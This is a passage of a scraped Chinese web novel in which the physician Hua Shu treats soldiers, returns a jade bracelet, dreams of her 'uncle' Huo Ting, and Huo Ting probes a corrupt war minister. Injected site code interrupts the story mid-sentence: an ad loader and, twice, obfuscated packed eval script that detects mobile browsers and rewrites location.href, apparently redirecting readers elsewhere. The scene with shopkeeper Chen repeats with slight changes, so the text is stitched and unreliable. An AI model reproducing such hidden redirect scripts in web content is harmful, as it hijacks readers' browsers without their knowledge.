刀疤彪汉因是湿热入体,华姝除了开内服汤药,在他颈部和手上扎了针灸,辅之以祛湿排毒。 针灸需要等上半个时辰,他就在回春堂盛放药材的里间角落坐了会。趁这功夫,华姝忙里偷闲为他亲手打包。 并将腕上的玉镯,悄悄塞进药包底部 她欠他那一刀,得还。再让他捅回来不现实,就请他拿玉手镯换些强筋健骨的补品吧。 取银针时,看着他颈部的蜈蚣形疤痕,华姝有一瞬微怔。 这伤口再稍微偏一点,就会划破颈动脉,对方明显想治他于死地。 就像霍霆眉骨的那道疤,敌手明显是想划伤他的眼。 那人眼睛最是威慑有神,若是失明,得多可惜。是而,她一定要加紧为他排除余毒…… “我这疤,是否吓到您了?”刀疤彪汉见她一直盯着疤痕瞧,有些不大好意思。 华姝回神,继续取针,“没有,我是想着有无合适的祛疤药膏。” “若是有的话,您不若留给老大吧。哦,就是镇南王爷。” “……你,为何不像外面的士兵一般称呼王爷将军,而是老大?”华姝似漫不经心一问。 实则,当初若非他们这山匪般的称呼,她也不至于完全没察觉。 “我们是最初跟着老大的那批人,那会老大还不是将军,也不是王爷。后来叫习惯了,就没改。” “最初……你们就是那十二位罗汉将军?” 想想也是,霍霆那会性命攸关,守在他身旁的,自然是心腹中的心腹。 但华姝很快就后悔了,这不是变相承认她在山上承认见过他们十二人嘛。她慌忙转身,假装去帮他拿药包,想将人快些请离。 身后,突然传来一声怦然的跪地声:“属下萧成,见过夫人。” 萧成见药房无外人,略作犹豫,还是忍不住为自家老大解释两句: “老大当初没让您下山,是想着要对您负责。他这些年在外面领兵打仗,身边从没有过任何女人,您是头一个。” “见您实在想走,也悄悄派人跟着呢,就想瞅瞅是哪家姑娘,好去提亲。后来那人回来禀告后,老大将自己关在房里整整一天一夜,不吃不喝,还不准我们再提……” “萧将军,快些请起。”华姝受不得他这一跪,“您真的认错人了,我只是四叔的侄女。” 说完,就将药包胡乱塞进他怀里,匆匆躲离药房。 身后,萧成却是嘟囔一句:“可你们不是没有血缘嘛。” 华姝听得心底发寒,回到隔间后,半晌没缓过神来。 原来他留她在山上,是为来日提亲。 原来早在他回霍家前,已然知晓她身份。那他特意穿她做的黑靴回府,所为何意? 萧成认为没血亲的叔侄可以通婚,那位也是这般想吗? 华姝柳眉几乎拧成疙瘩,应当不能吧,否则他为何将自己关在房中一日一夜。 所以,他是因此没有按时吃药而余毒未清。 回春堂各处依旧忙得热火朝天,药草香,伴着间断的问诊声,以及药童装草药的叮当碰撞声,此起彼伏。 原本一派祥和的画面,华姝作为大夫看到后最为舒适,但这会只觉得繁乱不堪。 她得尽快筹集银钱,尽早与那人解释清楚,刻不容缓。 * 临近傍晚,来看诊的士兵们渐渐少了 霍千羽有些腹饥,带着丫鬟跑到对面的酥礼记,去买惦记好久的脆皮烧饼。 胖老板也捶着后背,去药房轻点存留的药材。 华姝瞅准机会,跟着走进药房,“陈老板,我下午抓药时,发现没有血竭这类活血化瘀的药材。但士兵们常年跌打损伤,应该挺需要吧。” “我发现了,您心思真是细腻。” 胖胖的陈老板朝她竖起大拇指,但转而无奈道:“按理说,血竭这类药物该多备。奈何药价昂贵,上头批剥下来的银两又实在有限,只能抓大放小。 不止活血化瘀的,那治疗痢疾的槟榔、治疗头风的金石斛,也都买不起。” 华姝微笑摆摆手,“您谬赞了。” 大伯父手上可支配银钱不多,她一早就知晓,是而特意关注回春堂的药材存余情况。 长辈们给的首饰,她跟祖母商量过后,已交由大伯父支配,各类珍稀药材则留了下来。 “我家中倒有一些药材,有我自己种 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 植的,还有长辈们为将士们准备的,过两日我就分批拿过来。” “那感情好,真是解决了我的燃眉之急啊!”陈老板大喜,“不愧是镇南王府,对将士们的重视真真是费心了。” “应该的。” 帮了胖老板的忙后,华姝适时提出:“我也有些小忙,想烦请您给费心帮忙打听打听。” “何事?您请说。”陈老板爽快应道。 “就是……”华姝悄悄看眼门外,确定霍千羽还没回来,继续道:“就是您是否知晓,城里哪家医馆招收临时坐诊的大夫?” “最好是专攻疑难杂症的。” 这样收取的诊金更多,偿还霍霆的债务就能更快。 “您这是要亲自为将士们筹钱?”胖老板会错意。 “是我祖母生辰快到了,想给她老人家准备一份惊喜贺礼,还望您帮我暂时保密。若是有余留的话,亦可帮衬将士们一二。”华姝神色如常地笑道。 胖老板见这位姑娘温温柔柔的,且孝心一片,不疑有他,“自然没问题。” “您且等小的琢磨琢磨。”他捋着自己的八字小胡须,思忖片刻后,“若说疑难杂症来钱快的,还真有一份。不过那病人出身……微末些,就怕您瞧不惯。” 华姝本以为要等几日才能有消息,这会不由欢喜,“您且说说看。在咱们大夫眼中,病患不分三六九等。” “姑娘大气。” 于是陈老板简述起病人情况,小声道:“是位女病患,原是翠香楼的花魁,现下乃武威侯府世子爷所豢养的外室。 结果赎身出来没多久,就检查出患有花柳病,遭世子爷厌弃了。她就一心想赶紧把病治好,银钱多少不重要。” 华姝听完,不禁唏嘘。 女子微卑微弱,以色侍人,果然不是长久之计。 就如她和霍霆,且不说叔侄与否,单说两人的身份差距,也不适合再有过深的交集。 “同为女子,我还是想力所能及帮帮她。”华姝略作思忖,作下决定:“还望陈老板私下帮我传个话。” “好说,好说。” * 在这之后,霍千羽就帮华姝带着热乎乎的新出炉烧饼回来了,两人稍作饱腹,又与胖老板等人一同为剩余的士兵们诊完脉,就坐车回到霍家。 晚膳,华姝留在了白鹭院。 大夫人忙让丫鬟伺候着梳洗,关切道:“坐诊一整日,都累坏了吧?” “我不累,主要是姝儿。” 霍千羽骄傲地介绍着白日的事,“您是没瞧见,姝儿仅凭三言两语,就让他们的态度瞬间大逆转……” “什么就瞬间大逆转了?” 恰是这时,大老爷霍雲的笑声出现在门口。 三人转头看去,就见霍玄正推着霍霆的轮椅,先行走进来。霍雲紧随其后。 他怎么也来了? 华姝随着众人起身,忙欠身见礼,下意识去看了眼霍霆。 恰好轮椅经过她身边时,霍霆也往这边瞧来,两人目光在半空中有一瞬交汇。 华姝眨了眨眼,低下头去。 娟秀的小脸不似早上那般明媚精神,掩饰不住地疲态。就连如此与他近距离对视,也没脸红心跳,没心思想旁的事了。 霍霆瞧得出,她是真累得不轻。 有些话语已到他嘴边,又因诸多缘由,消失在屡屡白色的檀木香雾中。 霍霆自然被请到圆桌的主位处,他坐定后,其余人跟着坐下。 饭桌上,大夫人和络地介绍起刚刚的话题。 霍千羽兴致冲冲地从旁补充:“您是没瞧见,那士兵脖颈的刀疤啊,有这么老长。” 她越说越起劲,后来更是动手比划起来,“我生平头一次见,吓坏了。那人竟还故意跟姝儿故意搭话,说瞧见过她,姝儿更是吓得不轻。” “哎哟,那这的确骇人。” 大夫人不免紧张,慈爱地摸摸华姝的头,“要不明日就别去了吧?” 华姝借着给大伙倒茶,早已将头埋低,不敢去看霍霆的反应。 她没料到霍千羽会忽然提起这茬,还是当着霍霆的面。这般一描述,他自然知晓是山上那位。那后面两人的对话,岂不是早晚会传到他耳中? 14. 第 14 章 母女俩对话刚说完,大老爷霍雲忙不迭给大夫人使眼色,霍霆的眉骨上也有道疤。 大夫人及时反应过来,亦是在饭桌下悄打了下。霍千羽后知后觉,赶紧尴尬住嘴。 饭桌上,气氛一时有些微妙。 这时,半晌未言的华姝,勉强挤出一抹浅笑:“后来想想,那伤疤是为保护我们所致,也就不怕了。” 一来,大伯母和千羽表姐本就是番好意。 二来,明日若是不去,她就没办法私下坐诊、尽快筹集银钱了。 “姝儿说得对,那不止是伤疤,更是将士们的功勋。”大夫人忙附和道,然后仍是不免紧张地瞧向主位。 主位上,霍霆坐定后就在静静品茶,神情一如既往的平淡,旁人鲜少能搅动他的情绪波澜。 唯有华姝说到那句“不怕”时,掀起眼皮看她一眼。 姑娘将头埋得低低的,说这句话时,神情叫人看的不真切,心情也叫人看得不真切。 霍霆没再对此过多追究,而是转头看向霍玄,“殿试一事,准备得如何?” 霍玄原本正忧虑华姝被搭话的事,表妹温柔秀丽,又颇有才情和医术,很容易招了男子的眼。 若是被小人趁机蛊惑算计了去,又或被某位将领先看中来提亲,可就不妙了。 他考虑着,这几日要不要多派些人手护送,亦或他亲自接送。 听到四叔的问话,霍玄匆忙回神,恭敬道:“正想借这机会,请四叔提点一二。” 于是饭桌上的话题,顺势转向科考之事。 华姝和霍千羽母女,都各自松了口气。 “上次提及的水文相关策论,你准备好几篇,每篇的侧重点都作何?”霍霆问向霍玄。 华姝默默听着,与早间问她时,相似也不同。 同样是一上来就主导了整场对话的走向。但也不知是否老夫人在场的缘故,早间语气和软许多。这会男人气场强盛,语气不怒自威。 平时在饭桌上咋咋呼呼的霍千羽,这会乖得像只猫,用汤匙舀肉丸都不敢出大声。 “朝廷治水,除了自然气候外,主要涉及人力财力物力。故而,侄儿侧重从这四方面作答。”霍玄一一作答,然后谦恭地请教道:“四叔,您觉得这般可稳妥?” 霍霆面色微沉,看起来并不满意,“怎得未将你父亲所遇情境,考虑其中?” “澜舟所言极是。” 霍雲在旁听了,佩服地点点头,看向自家儿子,“你考虑的这些,旁的考生应是也会想到,就看大家谁更技高一筹。 但万一假以时日,真将原本应由工部负责的差事,交给兵部或吏部来做。那对于不熟悉这差事的官员,如何快速上手就很重要了。尤其修筑堤坝,那就是和老天爷和阎王爷抢人呐。” “你亦可将受众官员加以推广,覆盖所有初次接受水文差事的官员。”霍霆言一语中的。 霍玄眼前一亮,恍然大悟:“多谢四叔提点,侄儿受教了。” “四叔不愧是十五岁就考中进士,见解果然独到又深入。”霍千羽见状,赶紧趁机拍马屁,以变相对先前的口误告罪。 霍霆自然不会回应这种吹嘘。 大夫人给她和华姝各夹了块咕咾肉,顺势帮忙找台阶下,“快安生吃饭吧,早点回屋歇着,明日还得早起。” 霍千羽嘻嘻笑,“娘真好。” “多谢大伯母。”华姝轻声道谢,然后也伸手给大夫人夹了块蜜汁酱鸭。 因着那猜离她稍远些,手臂伸长后,浅绿色衣袖后退开几寸,露出一截空荡荡的纤细皓腕。 “哎,姝儿你那玉手镯呢?”霍千羽眼尖地发现了端倪,“我记得你早上出门戴着的。” 华姝忙心虚地用衣袖盖住,“许是白日太忙,落下回春堂的隔间了,我明日去找找。” “哦,明日你提醒我,我帮你找。”霍千羽信以为真。 “……好。” 华姝悄看霍霆一眼,见他有条不紊地夹起块红烧鱼肉,细嚼慢咽着,神色如常。 她才继续低头吃饭,想来那位萧将军并未与他禀告此事。 * 吃过晚膳后,趁着霍霆还在与霍雲父子谈话,华姝先行与大夫人母女道别。 月桂居和清枫斋就在对面,若是一起走,那就得走一路。 她这会累得大脑疲倦,实在没精力再应对他。 然而事与愿违,华姝前脚才从白鹭院走来,后脚就听到一阵轮椅木轮碾压碎石子的声响。 她不得不停下脚,等他缓缓靠近,然后欠身行礼,“王爷。” “无需多礼。” 霍霆摆手示意她起身,“换作是我,这会亦不想说话,且就这么往前走吧。” 随后他看了眼身后,原本推轮椅的长缨,意会地退后 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其实祖母也这么喊过她,不过是长辈对晚辈的一些怜爱。 可当这位特别的长辈喊她时,就听着怪怪的。 霍霆将她娇羞的反应看在眼里,微扯唇角。 随后缓缓伸出手,在她的惊愕注视中,隔着衣袖,握住那纤细而空荡荡的皓腕。 待收回手时,一只熟悉的玉镯,已挂回原处,“收好它,别再弄丢了。” 华姝垂落手臂,左手指尖摩挲着右腕上的玉镯,上面还带着男人的体温,“萧将军找过您了。” 她轻轻地陈述事实,除此之外也不知该辩解些什么。 太乖了。 乖得一度让人不好再责备。 霍霆瞧着她,稀罕地轻笑一声,让自己话语听起来不会显得“特别凶”。 “早间不是才说过,你是我镇南王府的人,萧成怎敢收你的物件?” 其实,萧成的原话可比这直白多了。 “那华小姐可是老大的女人,嫂夫人的贴身首饰,属下不敢要啊。” 面对千军万马不带犯怵的八尺汉子,对着这小小玉手镯,当时满脸为难。 小心翼翼找块干整帕子包着,拿给霍霆时,再三保证,“老大,我可没拿手碰过啊!” 15. 第 15 章 月朗星稀,晚风吹拂,月桂居飘散出来淡淡的桂花香,徐徐剥乱着华姝的心弦。 一如霍霆的弦外之音。 他早间的原话是:“你们是镇南王府的人,是我霍霆的人。” 此刻又言:“你是我镇南王府的人,萧成怎敢收你的物件?” 两度叫她听得扑朔迷离,下意识结合起来,拼拼凑凑,岂非就是—— 你是我霍霆的人。 华姝心弦一紧,被自己的想法吓得不清,羞怯地看向对面,看向她的“四叔”,羽睫频频眨动。 霍霆一派坦然看着她,一向肃然刚毅的面庞上,罕见流淌着温和浅笑,在如玉月光映照下熠熠生辉,像极了一位寻常慈爱的长辈。 华姝到了嘴边的质问,又偃旗息鼓回去。 应是她想多了吧? 可为何萧将军不敢收她的物件?而非不愿。 她一介小小孤女,借谁的势,能让萧成一位当朝正三品将军用“不敢”二字,甚至行跪拜礼,喊一句“嫂夫人”。 萧成白日的种种行径,不受控地浮现华姝眼前,蓦地红了耳根。 本以为王爷不追究,后续事宜处理起来会简单许多,殊不知如今压下葫芦又起了瓢,越来越说不清了。 “有话但说无妨,自家人不必拘礼。” 夜间视线偏暗,霍霆没瞧清华姝的耳边红晕,但瞧得出她的欲言又止,与紧张。 他微勾唇角,“即便如你儿时那般,我也不会责罚。” 儿、儿时…… 怎么又转到这茬了? 华姝瞬间宛如从蒸笼里拿出来的红虾,浑身冒着热气。 这回不仅羞,还窘。 “没、没什么要说的。”赧颜的姑娘埋低头,瓮声瓮气地请示:“王爷,我能先回房了吗?” 霍霆看在眼里,无言轻叹,他似乎弄巧成拙踩中了猫尾巴,“回吧,早些休息。” 华姝如蒙大赦,转眼间落荒而逃。 回到月桂居后,由白术伺候着梳洗完,躺在浸满安神香气的轻纱软枕上,依旧心事重重。 不能再拖了,这几日得设法攒够银钱。 实在不行,就同千羽表姐借些,也得早点了清与那人的恩怨。 华姝抱着鹅绒黄锦缎的薄被,反复辗转多时,才堪堪入眠。 没料到,日有所思夜有所梦。 梦境里,华姝再度回到月桂居的门口,愕然看着霍霆为她戴回玉镯。 他却在收回手刹那,顺势扣住皓腕,轻巧地就将她带回炙热的怀中,就像两人那日在木屋里的坐姿。 烫得她心跳砰砰发乱,手指不敢乱碰,偏又得借力撑在他坚硬胸膛上,挣扎着想钻出他怀抱。 反被男人扣得更紧,粗重滚烫的呼吸,流连在她彼时发烫的耳根处,暗哑威胁:“再乱动,可就真不放你走了。” 华姝吓得不敢再动,只小声乞求:“此处是王府,还请王爷放手。” 男人贴面轻笑:“你也知道是在我府上?” “早间才交代过,你是我的人,转头就将贴身物件送与外男。”他惩罚似的咬住她圆润耳垂,“姝儿,你总要考虑考虑我的感受。” 说罢,男人齿间恶狠狠地磨着,扣紧腰肢的粗粝大掌,揉捏力道也故意加重。 华姝招架不住,呼吸随之娇喘得厉害,也挣扎地厉害,“可是,您是我的四叔啊——” “哗啦!” 华姝猛地从拔步香床上坐起,轻纱床幔上的玉珠串应声掉落。玲珑的娇躯仍止不住颤栗。 分不清是怕得,还是被撩拨得余韵犹存。 她玉手捂紧发烫的脸颊,轻轻拍打,懊恼如何会做了一场春梦,梦里男人还是她的四叔。 分明人家当时举止有度、端方持重,怎么自己反倒浮想联翩了呢? 寂静清雅的闺房内,月光潺潺似有噪响,是夜少女再难安眠。 * 对面的清枫斋,亦是彻夜灯火通明。 霍霆坐在书案后,以手撑头,阖眼假寐,却没有要安寝的意思。 “王爷,不若您先去休息。待萧将军回来后,属下再去向您通禀。”长缨提议道。 霍霆从浅眠的梦境里回神,旖旎相拥的画面,被书房的清冷陈设所取代,“萧成去多久了?” 今日萧成送来玉镯后,霍霆另外交代他一份差事。收集兵部尚书中饱私囊的证据,届时这笔赃款充公,正好用于将士们的安置费。 “快三个时辰。”长缨皱眉,“这兵部尚书府邸的戒备,竟如此森严,连萧将军的功夫都无法轻松来回。” 长缨请示:“王爷,可需另派人手前往协助?” “不必。” 长缨话音刚落,萧成身着一袭黑色夜行衣,从漆黑夜色里,闪身跃入庭院。 萧成将手中的账簿,递到书案上,抱拳行礼:“老大,我幸不辱使命。” 霍霆摆手令他起身,没急于翻看账本,先着眼萧成胸口的灰色脚印,“看来此行颇为棘手,可有损伤?” “确实有些麻烦,不过也另有收获。” 萧成随意拍了拍胸口的灰尘,目光炯然,“我与那兵部尚书交手时,发现这司空震的武功身法极为熟悉,倒像是……” 他意味深长看着霍霆,“倒像是当年,我们赴约华不为华太医时,中途杀出的那黑衣人。” “几成把握?” 霍霆瞬时神色肃然,周身气压随之一沉。 “我特意与之多过招了几回合,可有八成把握。”萧成语气笃定。 闻言,霍霆靠回太师椅背,许久未再出声,萧成和长缨亦不敢打搅。 书房内,气压一沉再沉。 当年,霍霆收到华家兄长,也就是华姝父亲的求助密信,急忙带着人手前去赴约。 然而没见到华不为本人,倒是中途杀出一伙黑衣人,出手狠辣,势要将他们赶尽杀绝。 兄弟十三人伤亡惨重,折返燕京城时沿路都有埋伏,只能一路南下。 逃亡路上,很快获悉华家突发大火,全族意外身亡的消息。 华府乃百年杏林世家,根系繁茂,怎可能全族俱陨? 这显然是一场蓄意谋杀! 可霍霆那会没有证据,更回不了京城,亦唯恐牵连霍家人,这些年只能隐姓埋名,直到手握重兵而返。 “果然呐,咱们一回燕京,有些人的狐狸尾巴就藏不住了。” 书案瑞兽香炉的袅袅白烟后,霍霆一双凤眼,深邃如渊。 “原来如此!” 萧成恍然大悟,“我先前还纳闷呢,那兵部尚书好端端地为何要截杀咱们回京,原来里头还牵扯着当年的事!” 长缨气得咬牙切齿:“这个老狗,他先前不过是兵部小吏,这些年能爬得这么快,看来与当年的事脱不了干系!” 萧成更是气得不轻,“老大,你发句话,兄弟们立刻将这老狗暗中捉拿回来,严刑拷问。” “司空震能升迁如此之快,背后主谋的权势必然错综复杂,不可打草惊蛇。” 霍霆抬手示意他稍安勿躁,随后翻开书案上的账本。 此乃司空震的私账,详细记载着他这些假借兵部名义买战马,再私人倒卖给外邦的马贩子,牟利敛财的账目。 霍霆略略浏览几页后,交代长缨,“将消息透露给那都察院的沈之鹊,做得自然些。” 长缨:“王爷英明。” 都察院的言官们,向来都喜好捕风捉影,空口白牙就敢弹劾百官。 而沈之鹊,二夫人表妹沈青禾的父亲,多年不得晋升,急需一份能平步青云的政绩,自然会无利不起早。 长缨领命而去,消失在茫茫夜色中。 “以安置将士们一事做幌子,既能将司空震拉下马,还能迷惑当年那些幕后主使,可谓一箭双雕!”萧成忍不住翘起大拇指,“老大高明!” 霍霆轻扣着书案,思量道:“沈之鹊恐会有被灭口的嫌疑,你找几个眼生之人,暗中跟着。” 萧成点点头。遇到那帮穷凶极恶之徒,沈之鹊这政绩保不准是有命挣,没命享受。 “还有,”霍霆手指微顿,“回春堂那边,你亲自去盯着。” “……嫂子那啊?” 萧成转而挠头,“老大,你何不亲自去瞧瞧?夫妻两人每日双双把家还,多好!” 书案上的账本,如风般“啪”得砸到萧成头上,“哪那么多废话?” “是是是,我这就去,保证嫂子每日都平安回来与你相聚。” 萧成嘿嘿一笑,将账本平整放回去,然后麻溜闪人。 书房里重新归于沉寂,唯有更漏“嘀嗒”作响。 想起那道对他避之不及的清瘦倩影,霍霆唇瓣抿成一条线,轻叹了声。 回府后,霍霆曾从霍老夫人那探听过,当年华府出事前,恰逢华姝来霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948304|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家作客,得以幸免于难。 华不为在那个时点将年幼的独女送来府上,是恰巧,还是另有筹谋? 霍霆抬手拢了拢眉心,终是百思不得其解。 * 次日清早,一夜浅眠的华姝,眼下淤青成片,扑了好几层脂粉,才堪堪遮盖住。 去回春堂路上,霍千羽问起此事,华姝只说昨夜在整理药材。 事实也是,她昨夜睡不着,索性起身下床,根据将士们的病症归整适合的草药和药膏。 到了回春堂后,胖老板正好在药房,华姝顺势走进去,“陈老板,我昨日抓药时,发现没有血竭。但士兵们常年跌打损伤,应该挺需要这类活血化瘀的药材吧?” “您心思真细。” 胖胖的陈老板竖起大拇指,但转而无奈道:“上头批下来的银两有限,只能抓大放小。不止血竭,那治疗痢疾的槟榔、治疗头风的金石斛,也都买不起。” 华姝微笑摆摆手,“您谬赞。王府筹集了些,我今日刚好带过来。” 长辈们给的首饰,她跟祖母商量后,已交由大伯父支配,各类珍稀药材则留了下来。是而昨日特作关注。 “这可真解决了我的燃眉之急!”陈老板大喜,“王府对将士们有心了。” “应该的。” 帮了胖老板的忙后,华姝适时提出:“我也有些小忙,想请您费心帮忙打听打听。” 她悄悄看眼门外,确定霍千羽没过来,才继续道:“您是否知晓,城里哪家医馆招收临时坐诊的大夫?” “最好是专攻疑难杂症的。” 收取的诊金更多,偿还霍霆的债务就能更快。 “我祖母生辰快到了,想给她老人家准备一份惊喜贺礼,还望您帮我暂时保密。” 胖老板见她温温柔柔的,且孝心一片,不疑有他,“自然没问题。” 他捋着八字小胡须,思忖片刻,“若说疑难杂症,还真有一份。那病人出身……微末些,就怕您瞧不惯。” 华姝本以为要等几日才能有消息,这会不由欢喜,“您且说说看。在咱们大夫眼中,病患不分三六九等。” “姑娘大义。” 陈老板简述起病人情况:“她原是翠香楼花魁,赎身没多久,就诊出患有花柳病。她现在一心想赶紧把病治好,银钱多少不重要。” 华姝微有唏嘘。女子微卑微弱,以色侍人,果然非长久之计。 就如她和霍霆,且不论叔侄关系,单说两人身份差距,也不适合再有过深交集。 “同为女子,我想力所能及帮帮她。”华姝略作思忖,作下决定:“还望陈老板私下帮我传话。” * 接下来几日,傍晚时分,华姝遂以跟胖老板学医为由,让霍千羽先行回府,她则从回春堂的后门悄悄往来于那花魁家中。 花魁的花柳病病入膏肓,的确难医。 但这花魁也的确出手阔绰,在华姝表示有五成把握治愈后,就径直付了五百两订金,相对于那血燕的一半卖价。 华姝深知这是救命钱,愈发谨慎行医下药。 有时真会在回春堂与胖老板讨论药方,也一日比一日贪晚。 等到第四日,她走出回春堂前门时,天已黑头,华灯初上。 而挂着“霍”红字木牌的马车,正静悄悄停靠在门前。在萧萧无人的长街上,尤其醒目。 华姝眼前闪过一道威严魁梧身形,不自觉眼皮突突直跳。 这时,马车车帘被挑开,一温润如玉的少年郎,闻声走下马车,和煦笑道:“表妹,我顺路接你回府。” 来人,是霍玄。 华姝微有讶异,但更多是松了口气,“有劳表兄。” 天色不早了,华姝没再寒暄什么,遂由半夏扶着坐上马车,一行人渐行渐远。 巷尾,萧成远远探出头来,急得抓耳挠腮。 他蹲守这几日,眼瞅着有将士们,陆续送来各种糕饼吃食,美其名曰是答谢华姝带来的药材。 但具体因为啥,男人之间谁也甭蒙谁,装啥大尾巴狼啊。 这嫂夫人也太惹人稀罕了。 没招来杀手,倒是招来一众桃花! “不行,你赶忙去给老大通风报信。” 萧成指使一个手下,速速往镇南王方向而去,自己则是有多远躲多远。 这嫂夫人的护花使者,他可不敢当。尤其很可能还是,叔侄相争…… 16. 第 16 章 马车悠悠荡荡行驶于寂静的长街,零星亮灯的几家铺子也陆续关门。 马车内,华姝与霍玄对面而坐,中间隔着张红木小几,上面除了两摞书本,还有包糕点。 霍玄将油纸包推到华姝面前,“新出炉的酥皮烧饼,还是热的。表妹坐诊一整日,这会想必身疲腹饥,可以先垫垫。” “多谢表兄。” 华姝忙碌一下午,的确没顾得上裹腹。只是霍玄的关照,在他私下言明心意后,已让她不便坦然接受。 “我在回春堂刚用过茶点,千羽表姐素来喜爱这酥皮烧饼,不若留与她吧。”她浅笑婉拒。 岂知这时,闻到喷香的烧饼,肚子抗议地“咕噜”两声。 为了一口吃的,出卖起“自己”来,可谓毫不留情面。 …… 静谧马车内,气氛一度滑稽又尴尬。 “其、其实是我挑嘴,让表兄见笑了。” 有人变得无颜以对,不好意思地转头看向车窗外,蚊声解释道。 从霍玄的角度,尚能看见她泛红的半张侧颜,卷翘的眼睫眨动得厉害,似带勾的猫爪灵活撩拨人心。 在摇曳烛光的映照下,给原本乖巧娴静的少女,平添一丝狡黠的灵动。 这才是她该有的样子。 在华家未遭难前,记忆里,华姝比霍千羽还要顽皮。她俩凑在一处逗闹,没少让他吃闷亏。 只是后来寄人篱下,她小小年纪懂得察言观色,当初的小霸王日渐变成一只缩头小王八,让人怜惜,偏又撬不开她那层保护壳。 如此经年,他想守护伊人的心思,也愈发浓烈。 霍玄痴痴望着心爱的姑娘,顾着礼仪分寸,终是强行挪开目光。 “烧饼是有些油腻,母亲备的晚膳较为清淡,应会合表妹的胃口。”他看破不说破,转头交代赶车的小厮,“车速再加快点。” “好嘞!” 马儿脖子上的铜铃,随即“叮当”作响更快。 华姝听在耳中,心绪越发繁乱。 先前霍玄和大夫人相继提及议亲,此事小有误会。后因霍霆回府,华姝一时无暇顾及。 但正因着山匪与四叔的身份巨变,她更要尽早说清。 本以为今日是个机会,可面对霍玄的赤诚相待,再瞧瞧那两摞厚重的书本,华姝不免犹豫,唯恐影响到他殿试发挥。 罢了,还是再找机会同大伯母解释吧…… “若因我先前失言,惹恼表妹,霍玄在此向你道歉。” 心仪之人在身边,没人能管得住自己的眼。自打华姝上车,她每个细微反应,都在霍玄眼中放大数倍。 他索性先一步挑明,又似抛砖引玉,以方便女儿家开口倾诉。 华姝感激他大方坦荡,委婉表示:“表兄对我信任亲厚,姝儿感念至极。不过殿试在即,表兄没必要为旁的事分心,不值当的。” 霍玄已有预料,却不免苦苦一笑:“若真论科举分心,倒也无甚妨碍。” “若说不值当,实属假话。”他深深凝着她,星眸闪烁细碎光亮,“科举能重来,表妹的安危才是重中之重。” 这话,听得华姝心头暖暖的,有点不忍堙灭他眼中的光,“是我给表兄裹乱了,日后姝儿定会早些回府,不再贪晚。” 可她与霍霆的羞耻纠葛已不可逆,再不该染指这般干净的白衣少年,更不好令他徒添误会。 华姝咬了咬唇,终是开口:“表兄,近日恰逢多事之秋,我实在无心考虑终身大事。” 顾念他考试心态,她又补充道:“此番皆是对事不对人,还望表兄见谅。” 到底脸皮薄,与儿郎直白谈及情爱婚事,令她禁不住红了耳珠,娇艳模样越发诱人。 瞧得霍玄也耳郭泛红,心有悸动。 从前那个追着他扔泥巴的小泥猴,不知何时,已出落得楚楚动人,风情款款。 霍玄万般不舍这抹皎洁的月光,但更不舍她为难,默了默:“换作是我,亦需慢慢调整状态,此前是表兄莽撞了。” “表妹需要些时日舒缓,我亦需要时日备考。等殿试结束后,我们再视情况而议,可好?” 温润言语间,隐隐包裹着一丝小心翼翼:“不论结果如何,我绝不逼你。” 华姝不难看透此乃缓兵之计,不过确是个折中方案。 她想,若霍玄高中必有贵女争相结亲,或许他会遇到良配佳缘,继而淡忘这份心思。 思及他殿试在即,于是也退让半步:“好。” 见她松口,霍玄悄然握紧的手掌也缓缓松开,掌心已沁出一层薄汗。 之后,一路无言。 马车很快停在霍家角门,霍玄让华姝先行下车,自己则命小厮绕到正门,另行回府。 华姝与他道谢分别,趁四下无人,扶着半夏快步进门。 殊不知夜色漆黑,在那阴暗角落中,有道娇小的黑影一闪即离。 * 这会正是霍府用晚膳的时辰,庭院内几乎没人,偶有寒鸦从树梢飞过。 华姝准备先悄悄溜回月桂居,梳洗一番,假装早已回府,再前往白鹭院用膳。如此,也可拉开与霍玄回府的时辰。 不料,中途被丫鬟捉住:“表姑娘,老夫人叫您过去一道用晚膳。” 华姝暗道不妙,“好姐姐,祖母可还说旁的了?” 那丫鬟掩嘴笑:“老夫人关切表姑娘累坏身子,要罚您多吃两碗饭。还说,不吃完就不准您出门呢。” “应该的。”华姝抿唇讪笑了声,乖乖跟着丫鬟前往千竹堂。 主屋的中堂内,圆桌上已满饭菜,都是她爱吃的。只是某位老人家坐在软塌上,正兀自生闷气,需要人哄呢。 见没外人,华姝没依着规矩行礼,而是低眉垂眼走到跟前,轻摇着老夫人的衣袖,“祖母,姝儿知错了,日后再不敢贪晚了。” 娇滴滴拖着尾音,软糯糯地撒娇道。 老夫人继续佯怒板着脸,扭头不去瞧她,但也没拂开她的手。 华姝只得再接再厉:“祖母,咱先吃饭饭吧,好不好嘛……” “咳。” 身后的净室,忽然传来一道略显熟悉的清咳。 华姝顿时哑愣原地,转而双颊唰得一热。 他、他怎么也在呀? 刚刚她那番撒娇磨人之语,那没规没矩的私密做派,岂不是全暴露在他面前? 这么一想,华姝耳边越发热气腾腾,恨不得找个地缝钻进去。 见她苦皱小脸的可爱窘样,老夫人倒是先被逗乐:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍霆隐去错综复杂的权谋手段,只挑了两三个喜人消息,简洁应对。 单是从容不迫的语气,足矣令听者信服且安心:“那就好。你办事向来稳妥,为娘放心……” 华姝坐在老夫人另一侧,一边小口喝着甜甜的软糯米粥,一边安静听着,也由衷为将士们欢喜。 热粥晾了片刻,这会温度正好下口。她一连喝上几勺,饥肠辘辘的胃很快回暖而满足。 期间,老夫人慈爱地为她几次夹菜,显然已是气消。 两厢结合,华姝心情松缓,眉眼也雀跃起来。 只是始终没抬眼去瞧对面之人,偏又时刻在留意那边的动静。 